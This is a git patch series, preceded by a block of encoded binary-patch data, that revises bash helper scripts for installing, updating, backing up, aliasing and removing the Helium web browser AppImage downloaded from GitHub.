zF>6*9z_#{cxdkq?lrqU`EklpU`SUx%?2o|pwr6gP^sDRh@~;Z@Byp^b=3Rla3wlJE z(6t?}!m9`q4(`7}gpn#qKG7@Il=}!;8|W`Kth?~SubvD&&q?WYeau|_EmlxwOW}B% zq8PUjxW9a8CU6jIF*u6Yuh&FyYa%Jn3fhwFw`EX)Y0W=8XaH6q(Fg_pN-OpI6cY8RB{jRq>{e+jq^6!apC_8+Dii zdqPe)3$VZF(J=n7)rQSUPEC)I=pZGB_@U(`+Eq6Z%-7a)uyiB=gSX=0bBK=}*j_g6 zJ@*=Hs0me0*zR2d!e?`gtad;G^7rlqZR|*oYu6a!4<0Q@hp*|8rZdv zZnBU`e?!{T;oqabp=_0QL*f422(oq${DY5ns4xe4IqKjh^hMgRlP;ZdOV(}mh#eHO zd)sHBW`Wg?c?}@#(ZFFtN%f)IzIy6lHA&&H}%PmQ_QaWg)f_(q4YkS|IIiNygQ%eVH)g z3`F+Uu;Jv~5QdE3393HWSEjf;n>S~z zZ~gX&>DgE!e|j3CCaB3yuaJKSGP?#9>*pWvC(gXZCSK!L#BkZ`zL#2v`bl9Btk4wP zSsnrBJTdor<9LITI-_uTHnCJSL>{I#Ti>M#?{P3e z*JVK!9ff|RL$ZnCwi?ty|6&U(@qOhVJaxaBh!VNANq!nc=2xx|i+(hb)*(Sqx)cel)K z`#`BzkAN|-7}5~>AcMRc%)40xrzvhv;@cbtOv%9a%>s0h%pYC*CrVCaGhJP^Ud*z`liPz)q%xpUW77_ zDU}wn76?PNUH!OGHp;eU<*)*F!_m+Er1`lAjNFvHFGb8fRc}GPqxTbvV(0*qy(^!> zMep>Q??i6U6Jl3a2|TZe4Mra0TB`_)D3V!QSm{R(`$P4+W)SZNWFfa!xfY1txnB=; zru?VXaw>M~P$3!~_Dv3St#?P`T!ufQh~t%>1Z1nr;Z@x1ON0udZ$A z)q%Tx60tp(Eg3>VXU|Tj`|6g+*R(;p)Zz4HLFWB57ezL0^mQbs;};gp2m1IUJwG>U zdbAKM4+c?>Xjf5jJR+8A+dMNt%^^5s&eqd?pFOVrUNlE%r=`W;fnxcL;Pun$qA35- zyT*nflw58Dh$mj*z#>p%bT2dV5iuM(lFh|;6VF3$=68TL)`9>w#-c5V$b%O8CUC(j z64QQ`g$|L7Z%&PJEJss0+RF&_0xul_M-&@Q^u|-}$8911uO_oY@L|N+{p)foYk08r z+FXmNW2lYVH+A4}so$cvYmLjgucr-LY8q2w7Yigfw@K!!Ib%LDh+*^Y8BGo0aJg(T zNQwOh1r1ADW8B5UfV&zI3*7RUe0%$080{A@_G}6E6A4 zQEU__uTDFC%#Hpf7}R*jkbkIPjLv$$D-U-zGp5UaDDn$UW=ZrH&ySi1W2mHx((YNhcu=>8#-bU>a%EUCnyTU1Mxy^rU1>Yk%p3;TpaAT zd~I4PqraIuf~rxjI6B+>cYUg zD6O$RAC0aYUd9NP~Luf5g#bcLpWVeMg4x+R(s-5GYgKE@3sclPXiXw z=32G^T~;AJ@%r&n_G+y6dsamaf9sB4ZE_C#eYu!vUK(-BnX6oowWMn|zj#RE35NvD z14DKBsNzu{Br`+ll#*%ZbgQ@!TpyG)a_s)=I5W+l@s=wKhrz2rD#L|km^!@{wtGIA zP`R_BppGJHV&EExsVaLxC;O46`O4S>JFtqPC$Lv{#RK+@x*hcO0(!KI9@eSnN3GCOsqIC83kd`_95mn`L$M z1M9>fC_Pvs(Vn~43_mnjL(#0A7F{$k#mh6?@9P{HftG(z|7mZrtbZIuzbl?|=Hk0b zWS{)Wg^#@vqZuOLanhoCkUA#vL~~036)461$(jq_np?Q`ndEt74m_?R;%_`;4Fg23MZ|F{iWrj=o=xl( z%_45eJL`Z0_uw_bN+JMxvpe47a37Hs)c%*{*I>y=- zcyx@^^whLebZlgQ%{T2#TO(UL8#`?sAZiOsJAGtc{s--B{zM$~ZETG#E&h**=3C50-%R_R@Yk|3 zvwL6B`0e;+QX5*n8Fu*B$-mc$e1v=b(F=ylcz=>c{@& z0}!CY1Ka?!SHjANRkWKL%jAe Date: Mon, 5 Jan 2026 11:49:59 -0700 Subject: [PATCH 079/106] binaries ignored --- .gitignore | 3 ++- helium_helper.sh | 16 ++++++++-------- helium_launcher_update.sh | 6 ++++-- 3 files changed, 14 insertions(+), 11 deletions(-) diff --git a/.gitignore b/.gitignore index 61a58b0..ba7230e 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,2 @@ -test.sh \ No newline at end of file +test.sh +binaries \ No newline at end of file diff --git a/helium_helper.sh b/helium_helper.sh index 300a1e4..bf8704f 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -390,13 +390,12 @@ update_script() { read -p " Copy script to $SCRIPT_PATH? (Y/n) : " CONFIRM_SCRIPT_INSTALL if [[ "$CONFIRM_SCRIPT_INSTALL" == "" || "$CONFIRM_SCRIPT_INSTALL" == "y" || "$CONFIRM_SCRIPT_INSTALL" == "Y" ]] ; then - if ! [ -d "$SCRIPT_PATH" ] ; then - mkdir -p $SCRIPT_PATH - fi + mkdir -p $SCRIPT_PATH mkdir -p $TMP wget -P $TMP $REMOTE_SCRIPT_URL -q - chmod +x $TMP/$SCRIPT_FILE_NAME - mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH + wget -P $TMP $REMOTE_REPO_URL/$AUTO_SCRIPT_FILE_NAME -q + chmod +x $TMP/$SCRIPT_FILE_NAME $TMP/$AUTO_SCRIPT_FILE_NAME + mv $TMP/$SCRIPT_FILE_NAME $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH echo -e "\n ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" exit_clean @@ -443,10 +442,11 @@ update_script() { mkdir -p $BACKUP_PATH fi mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old - mkdir -p $TMP + mv $SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME $BACKUP_PATH/$AUTO_SCRIPT_FILE_NAME.old wget -P $TMP $REMOTE_SCRIPT_URL -q - chmod +x $TMP/$SCRIPT_FILE_NAME - mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH + wget -P $TMP $REMOTE_REPO_URL/$AUTO_SCRIPT_FILE_NAME -q + chmod +x $TMP/$SCRIPT_FILE_NAME $TMP/$AUTO_SCRIPT_FILE_NAME + mv $TMP/$SCRIPT_FILE_NAME $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH echo -e " ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" break diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index 2b9f81c..8123131 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -10,6 +10,7 @@ ARCH="x86_64" FILE_EXTENSION="AppImage" APP_SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Launcher Updater" +PARENT_SCRIPT_FILE_NAME="helium_helper.sh" SCRIPT_FILE_NAME="helium_launcher_update.sh" SCRIPT_VERSION="0.5.8" DATE=$(date) @@ -120,8 +121,9 @@ update_script() { mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old mkdir -p $TMP wget -P $TMP $REMOTE_SCRIPT_URL -q - chmod +x $TMP/$SCRIPT_FILE_NAME - mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH + wget -P $TMP $REMOTE_REPO_URL/$PARENT_SCRIPT_FILE_NAME -q + chmod +x $TMP/$SCRIPT_FILE_NAME $TMP/$PARENT_SCRIPT_FILE_NAME + mv $TMP/$SCRIPT_FILE_NAME $TMP/$PARENT_SCRIPT_FILE_NAME $SCRIPT_PATH echo "$DATE | Script updated to version $REMOTE_SCRIPT_VERSION" >> $LOG notify-send --icon="$ICON" --app-name="Helium Helper" "Script updated to version $REMOTE_SCRIPT_VERSION" From f2335fd14857205abbccfb0fcab1204f440eaa3b Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Thu, 8 Jan 2026 23:42:44 +0100 Subject: [PATCH 080/106] Backup function added ; Script output refined ; Custom alias through $2 added; Arch detection added ; Removal Process adatptions ; --- helium_helper.sh | 278 +++++++++++++++++++++++++++++++---------------- 1 file changed, 187 insertions(+), 91 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index bf8704f..d13b25f 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -9,19 +9,22 @@ YEL="\e[0;33m" RED="\e[0;31m" GRN="\e[0;32m" LCY="\e[1;36m" +WHT="\e[1;37m" CRS="\e[0m" ## GLOBAL VARIABLES APP_NAME="Helium" APP_NAME_LONG="Helium Web Browser" -ARCH="x86_64" FILE_EXTENSION="AppImage" APP_SOURCE="GitHub" +ARCH_OVERRIDE="" +BACKUP_COMPRESSION_OVERRIDE="" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_launcher_update.sh" SCRIPT_VERSION="0.5.8" ALIAS="update-helium" +DATE=$(date +"%d%m%y") ## LOCATIONS TMP=/tmp/$APP_NAME @@ -52,7 +55,7 @@ cmd_query() { } dependency_check () { - DEPENDENCIES=("curl" "wget") + DEPENDENCIES=("curl" "wget" "tar") mkdir -p $TMP for PACKAGE in "${DEPENDENCIES[@]}" ; do @@ -78,22 +81,39 @@ shell_query() { } shell_check() { - SHELLS=("bash" "fish" "ksh" "zsh") + SHELLS=("bash" "fish" "zsh") for SHELL_OPTION in "${SHELLS[@]}" ; do shell_query "$SHELL_OPTION" done } +### ARCH CHECK + +arch_check() { + if [ "$ARCH_OVERRIDE" ] ; then + ARCH=$ARCH_OVERRIDE + + else + ARCH=$(uname -m) + if [ "$ARCH" == "aarch64" ] ; then + ARCH="arm64" + + elif [ "$ARCH" == "amd64" ] ; then + ARCH="x86_64" + fi + fi +} + ### CHECK LOCAL INSTALL local_check() { if ! [ -d "$INSTALL_PATH" ] ; then - echo -e "\n ${RED}$APP_NAME_LONG directory not found!${CRS}" + echo -e "\n ${YEL}$APP_NAME_LONG directory not found!${CRS}\n" install_helium exit elif ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then - echo -e "\n ${RED}$APP_NAME_LONG directory found but no executable named ${CYN}$APP_NAME.$FILE_EXTENSION${RED}!${CRS}" + echo -e "\n ${YEL}$APP_NAME_LONG directory found but no executable named ${CYN}$APP_NAME.$FILE_EXTENSION${YEL}!${CRS}\n" install_helium exit fi @@ -109,12 +129,12 @@ install_helium() { while true ; do read -p " Download and install $APP_NAME_LONG from $APP_SOURCE? (Y/n) : " CONFIRM_INSTALL - echo if [[ "$CONFIRM_INSTALL" == "" || "$CONFIRM_INSTALL" == "y" || "$CONFIRM_INSTALL" == "Y" ]] ; then DOWNLOAD_URL=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}') APP_SOURCE_FILENAME=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') - wget -P $TMP $DOWNLOAD_URL -q --show-progress + echo -e "\n - Downloading ${CYN}$APP_SOURCE_FILENAME${CRS}..." + wget -P $TMP $DOWNLOAD_URL -q chmod +x $TMP/$APP_SOURCE_FILENAME mkdir -p $INSTALL_PATH mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION @@ -123,11 +143,11 @@ install_helium() { break elif [[ "$CONFIRM_INSTALL" == "n" || "$CONFIRM_INSTALL" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}" + echo -e "\n ${RED}Cancelled!${CRS}\n" break else - echo -e " ${YEL}Invalid response!${CRS}\n" + echo -e "\n ${YEL}Invalid response!${CRS}\n" fi done @@ -142,7 +162,6 @@ add_launcher() { while true ; do echo read -p " Add $APP_NAME_LONG launcher to $LAUNCHER_PATH? (Y/n) : " CONFIRM_LAUNCHER - echo if [[ "$CONFIRM_LAUNCHER" == "" || "$CONFIRM_LAUNCHER" == "y" || "$CONFIRM_LAUNCHER" == "Y" ]] ; then LAUNCHER_URL=$REMOTE_REPO_URL/assets/launcher/helium.desktop.template @@ -151,13 +170,15 @@ add_launcher() { LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}') mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $ASSET_PATH/icon if ! [ -f "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" ] ; then - wget -P $TMP $AUTO_SCRIPT_URL -q --show-progress + echo -e "\n - Downloading ${CYN}$AUTO_SCRIPT_FILE_NAME${CRS}..." + wget -P $TMP $AUTO_SCRIPT_URL -q chmod +x $TMP/$AUTO_SCRIPT_FILE_NAME mv $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH fi - wget -P $TMP $LAUNCHER_URL -q --show-progress - wget -P $TMP $ICON_URL -q --show-progress + echo -e "\n - Downloading ${CYN}launcher files${CRS}..." + wget -P $TMP $LAUNCHER_URL -q + wget -P $TMP $ICON_URL -q sed -i "s|%APP_LOCATION%|$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION|" $TMP/helium.desktop.template sed -i "s|%ICON_LOCATION%|$ASSET_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template @@ -197,36 +218,44 @@ add_alias() { if [ "$ACTIVE_SHELL" == "zsh" ] ; then if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then - echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.zshrc\n" - exit + echo -e "\n ${LCY}$ALIAS${CRS} already present in ${CYN}$HOME/.zshrc${CRS}\n" + + else + echo "### $APP_NAME_LONG Alias zsh ###" >> $HOME/.zshrc + echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc + echo >> $HOME/.zshrc + echo -e "\n ${LCY}$ALIAS${CRS} added to ${CYN}$HOME/.zshrc${CRS}\n" fi - echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc - echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc\n" elif [ "$ACTIVE_SHELL" == "bash" ] ; then if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then - echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.bashrc\n" - exit + echo -e "\n ${LCY}$ALIAS${CRS} already present in ${CYN}$HOME/.bashrc${CRS}\n" + + else + echo "### $APP_NAME_LONG Alias bash ###" >> $HOME/.bashrc + echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.bashrc + echo >> $HOME/.bashrc + echo -e "\n ${LCY}$ALIAS${CRS} added to ${CYN}$HOME/.bashrc${CRS}\n" fi - echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc - echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.bashrc\n" elif [ "$ACTIVE_SHELL" == "fish" ] ; then if [ "$(cat $HOME/.config/fish/config.fish | grep "source $HOME/.config/fish/$ALIAS.fish")" ] ; then - echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.config/fish/config.fish\n" - exit + echo -e "\n ${LCY}$ALIAS${CRS} already present in ${CYN}$HOME/.config/fish/config.fish${CRS}\n" + + else + echo "### $APP_NAME_LONG Alias FISH ###" > $HOME/.config/fish/$ALIAS.fish + echo >> $HOME/.config/fish/$ALIAS.fish + echo "function $ALIAS" >> $HOME/.config/fish/$ALIAS.fish + echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME \$argv" >> $HOME/.config/fish/$ALIAS.fish + echo "end" >> $HOME/.config/fish/$ALIAS.fish + echo >> $HOME/.config/fish/$ALIAS.fish + echo "source $HOME/.config/fish/$ALIAS.fish" >> $HOME/.config/fish/config.fish + echo -e "\n ${LCY}$ALIAS ${CRS}added to ${CYN}$HOME/.config/fish/config.fish${CRS}\n" fi - echo "### Helium Helper Alias FISH ###" > $HOME/.config/fish/$ALIAS.fish - echo >> $HOME/.config/fish/$ALIAS.fish - echo "function $ALIAS" >> $HOME/.config/fish/$ALIAS.fish - echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME \$argv" >> $HOME/.config/fish/$ALIAS.fish - echo "end" >> $HOME/.config/fish/$ALIAS.fish - echo "source $HOME/.config/fish/$ALIAS.fish" >> $HOME/.config/fish/config.fish - echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.config/fish/config.fish\n" else - echo -e "\n ${LCY}$ACTIVE_SHELL ${RED}not yet supported!${CRS}\n" - echo -e " ${LCY}Working implementation are available for bash, zsh & fish!${CRS}\n" + echo -e "\n ${LCY}$ACTIVE_SHELL${RED}shell is not yet supported!${CRS}\n" + echo -e " ${CRS}Working implementation are available for bash, zsh & fish!${CRS}\n" fi } @@ -259,37 +288,26 @@ update_helium() { while true ; do read -p " Download and update $APP_NAME_LONG from $APP_SOURCE? (Y/n) : " CONFIRM - echo if [[ "$CONFIRM" == "" || "$CONFIRM" == "y" || "$CONFIRM" == "Y" ]] ; then DOWNLOAD_URL=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}') APP_SOURCE_FILENAME=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') - mkdir -p $TMP $BACKUP_PATH - wget -P $TMP $DOWNLOAD_URL -q --show-progress + mkdir -p $TMP + echo -e "\n - Downloading ${CYN}$APP_SOURCE_FILENAME${CRS}..." + wget -P $TMP $DOWNLOAD_URL -q + backup_helium chmod +x $TMP/$APP_SOURCE_FILENAME - if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then - rm $BACKUP_PATH/$APP_NAME.old - fi - if [ -d "$APP_CONFIG_PATH" ] ; then - if [ -f "$BACKUP_PATH/$APP_NAME.config.tar" ] ; then - rm $BACKUP_PATH/$APP_NAME.config.tar - fi - tar -cf $BACKUP_PATH/$APP_NAME.config.tar $APP_CONFIG_PATH > /dev/null 2>&1 - fi - mv $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION $BACKUP_PATH/$APP_NAME.old mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION - cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old - chmod -x $BACKUP_PATH/*.sh.old $BACKUP_PATH/$APP_NAME.old sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop - echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date !${CRS}\n" + echo -e " ${GRN}$APP_NAME_LONG is up-to-date!${CRS}\n" break elif [[ "$CONFIRM" == "n" || "$CONFIRM" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}\n" + echo -e "\n ${RED}Cancelled!${CRS}\n" exit else - echo -e " ${YEL}Invalid response!${CRS}\n" + echo -e "\n ${YEL}Invalid response!${CRS}\n" fi done @@ -303,14 +321,88 @@ update_helium() { } -### AUTOMATIC UPDATE --> TO DO? -auto_update() { - if ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then - echo -e "\n ${RED}$APP_NAME AppImage not found! Can't add auto update script...${CRS}" - exit - - else - echo -e "\n ${RED}Not implemented yet...${CRS}" +### BACKUP +backup_helium() { + if [[ -d "$INSTALL_PATH" || -d "$SCRIPT_PATH" || -d $APP_CONFIG_PATH ]] ; then + BACKUPABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") + echo -e "\n - ${CRS}Collectig files for ${CYN}backup${CRS}...${CRS}" + + for BACKUP_ITEM in ${BACKUPABLE[@]} ; do + if [ -d "$BACKUP_ITEM" ] ; then + mkdir -p $TMP/backup + cp -r $BACKUP_ITEM $TMP/backup + + elif [ -f "$BACKUP_ITEM" ] ; then + mkdir -p $TMP/backup + cp $BACKUP_ITEM $TMP/backup + fi + done + + if [ -d "$TMP/backup" ] ; then + CWD=$(pwd) + cd $TMP/backup + chmod -x *.sh *.$FILE_EXTENSION > /dev/null 2>&1 + + if [ "$BACKUP_COMPRESSION_OVERRIDE" ] ; then + BACKUP_COMPRESSION=$BACKUP_COMPRESSION_OVERRIDE + + elif ! [ "$BACKUP_COMPRESSION_OVERRIDE" ] ; then + COMPRESSION_METHOD=("pbzip2" "gzip" "bzip2" "zip") + + until [ "$BACKUP_COMPRESSION" ] ; do + for COMPRESSION_TYPE in ${COMPRESSION_METHOD[@]} ; do + + if [ "$(command -v $COMPRESSION_TYPE) > /dev/null 2>&1" ] ; then + BACKUP_COMPRESSION=$COMPRESSION_TYPE + break + fi + done + done + fi + + echo -e "\n - ${CRS}Compressing backup archive with ${CYN}$BACKUP_COMPRESSION${CRS}...${CRS}\n" + + if [ "$BACKUP_COMPRESSION" == "pbzip2" ] ; then + tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 + pbzip2 $APP_NAME.backup_$DATE.tar + mkdir -p $BACKUP_PATH + mv $APP_NAME.backup_$DATE.tar.bz2 $BACKUP_PATH + cd $TMP && rm -rf backup + + elif [ "$BACKUP_COMPRESSION" == "gzip" ] ; then + tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 + gzip $APP_NAME.backup_$DATE.tar + mkdir -p $BACKUP_PATH + mv $APP_NAME.backup_$DATE.tar.gz $BACKUP_PATH + cd $TMP && rm -rf backup + + elif [ "$BACKUP_COMPRESSION" == "bzip2" ] ; then + tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 + bzip2 $APP_NAME.backup_$DATE.tar + mkdir -p $BACKUP_PATH + mv $APP_NAME.backup_$DATE.tar.bz2 $BACKUP_PATH + cd $TMP && rm -rf backup + + elif [ "$BACKUP_COMPRESSION" == "zip" ] ; then + tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 + zip -r $APP_NAME.backup_$DATE.tar.zip $APP_NAME.backup_$DATE.tar > /dev/null 2>&1 + mkdir -p $BACKUP_PATH + mv $APP_NAME.backup_$DATE.tar.zip $BACKUP_PATH + cd $TMP && rm -rf backup + + else + echo -e " ${YEL}No supported compression method detected! Copying backup uncompressed...${CRS}\n" + mkdir -p $BACKUP_PATH + mv $TMP/backup $BACKUP_PATH/$APP_NAME.backup_$DATE + cd $TMP && rm -rf backup + fi + + echo -e " - ${CRS}Backup stored in ${CYN}$BACKUP_PATH${CRS}...${CRS}\n" + cd $CWD + fi + + else + echo -e " ${YEL}Nothing to back up...${CRS}" fi } @@ -319,15 +411,14 @@ remove_helium() { if [ -d "$INSTALL_PATH" ] ; then while true ; do - read -p " Remove $APP_NAME_LONG incl. backups and launcher? (Y/n) : " CONFIRM_REMOVE + read -p " Remove $APP_NAME_LONG incl. backups, configuration and launcher? (Y/n) : " CONFIRM_REMOVE if [[ "$CONFIRM_REMOVE" == "" || "$CONFIRM_REMOVE" == "y" || "$CONFIRM_REMOVE" == "Y" ]] ; then - REMOVABLE=("$INSTALL_PATH" "$LAUNCHER_PATH/$APP_NAME.desktop" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME") - echo + REMOVABLE=("$INSTALL_PATH" "$LAUNCHER_PATH/$APP_NAME.desktop" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$APP_CONFIG_PATH") + echo -e "\n - ${CRS}Removing ${CYN}$APP_NAME${CRS} directory and configuration...${CRS}" for RM_PATH in "${REMOVABLE[@]}" ; do if [[ -f "$RM_PATH" || -d "$RM_PATH" ]] ; then - echo -e " ${YEL}Removing ${CYN}$RM_PATH ${YEL}...${CRS}" rm -rf "$RM_PATH" fi done @@ -336,26 +427,28 @@ remove_helium() { if [ "$ACTIVE_SHELL" == "zsh" ] ; then if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then + sed -i "/$APP_NAME_LONG/d" $HOME/.zshrc sed -i "/$ALIAS/d" $HOME/.zshrc - echo -e "\n ${CYN}$ACTIVE_SHELL ${YEL}alias removed ... ${CRS}" + echo -e "\n - Alias removed from ${CYN}$ACTIVE_SHELL${CRS}" fi elif [ "$ACTIVE_SHELL" == "bash" ] ; then if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then + sed -i "/$APP_NAME_LONG/d" $HOME/.bashrc sed -i "/$ALIAS/d" $HOME/.bashrc - echo -e "\n ${CYN}$ACTIVE_SHELL ${YEL}alias removed ... ${CRS}" + echo -e "\n - Alias removed from ${CYN}$ACTIVE_SHELL${CRS}" fi elif [ "$ACTIVE_SHELL" == "fish" ] ; then if [ "$(cat $HOME/.config/fish/config.fish | grep "source $HOME/.config/fish/$ALIAS.fish")" ] ; then sed -i "/$ALIAS/d" $HOME/.config/fish/config.fish rm $HOME/.config/fish/$ALIAS.fish - echo -e "\n ${CYN}$ACTIVE_SHELL ${YEL}alias removed ... ${CRS}" + echo -e "\n - Alias removed from ${CYN}$ACTIVE_SHELL${CRS}" fi fi - echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}\n" - exit + echo -e "\n ${YEL}$APP_NAME_LONG removed!${CRS}\n" + break elif [[ "$CONFIRM_REMOVE" == "n" || "$CONFIRM_REMOVE" == "N" ]] ; then echo -e " ${RED}Cancelled!${CRS}" @@ -367,16 +460,14 @@ remove_helium() { done else - echo -e "\n ${RED}Can't remove $APP_NAME_LONG! ${YEL}$INSTALL_PATH ${RED}directory not found...${CRS}" + echo -e " ${RED}Can't remove $APP_NAME_LONG! ${CYN}$INSTALL_PATH ${RED}directory not found...${CRS}\n" exit fi } ### SCRIPT VERSION script_version() { - echo -e "\n ${CYN}$APP_NAME_LONG Helper Script Version :${CRS} $SCRIPT_VERSION\n" - exit - + echo -e "\n ${CYN}$APP_NAME_LONG Helper Script Version : ${CRS}$SCRIPT_VERSION\n" } ### UPDATE SCRIPT @@ -397,7 +488,7 @@ update_script() { chmod +x $TMP/$SCRIPT_FILE_NAME $TMP/$AUTO_SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH echo -e "\n ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" - exit_clean + break elif [[ "$CONFIRM_SCRIPT_INSTALL" == "n" || "$CONFIRM_SCRIPT_INSTALL" == "N" ]] ; then echo -e " ${RED}Cancelled!${CRS}\n" @@ -467,7 +558,7 @@ update_script() { fi } -### COMPARE APPIMAGE VERSION +### COMPARE APPIMAGE VERSIONarch_check compare_version() { LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}') APP_SOURCE_VERSION=$(curl -s $APP_SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') @@ -490,19 +581,17 @@ compare_version() { echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" - exit elif [ "$APP_SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then echo -e "\n ${YEL}$APP_NAME_LONG is updatable!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" - exit else echo -e "\n ${RED}Version tags malformed or you are using a Beta version!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" - echo -e " ${RED}Update failed ... Exiting ...${CRS}\n" + echo -e " ${RED}Update failed... Exiting...${CRS}\n" exit fi } @@ -517,7 +606,7 @@ help() { echo -e "\t-l\tCreate desktop launcher" echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME" echo -e "\t-u\tDownload & update $APP_NAME_LONG from $APP_SOURCE" - #echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" + echo -e "\t-b\tBackup $APP_NAME_LONG & configuration" echo -e "\t-r\tRemove $APP_NAME_LONG" echo -e "\t-c\tCompare local to remote version" echo -e "\t-s\tShow script version" @@ -541,48 +630,54 @@ exit_clean() { ########## MAIN ########## ## GET OPTIONS -while getopts ":i,:l,:a,:u,:U,:r,:c,:s,:S,:h" OPTION ; do +while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do case $OPTION in i) - echo -e "\n ${CYN}Installing $APP_NAME_LONG...${CRS}" + echo -e "\n ${YEL}Installing $APP_NAME_LONG...${CRS}\n" dependency_check + arch_check install_helium exit_clean ;; l) - echo -e "\n ${CYN}Adding $APP_NAME_LONG 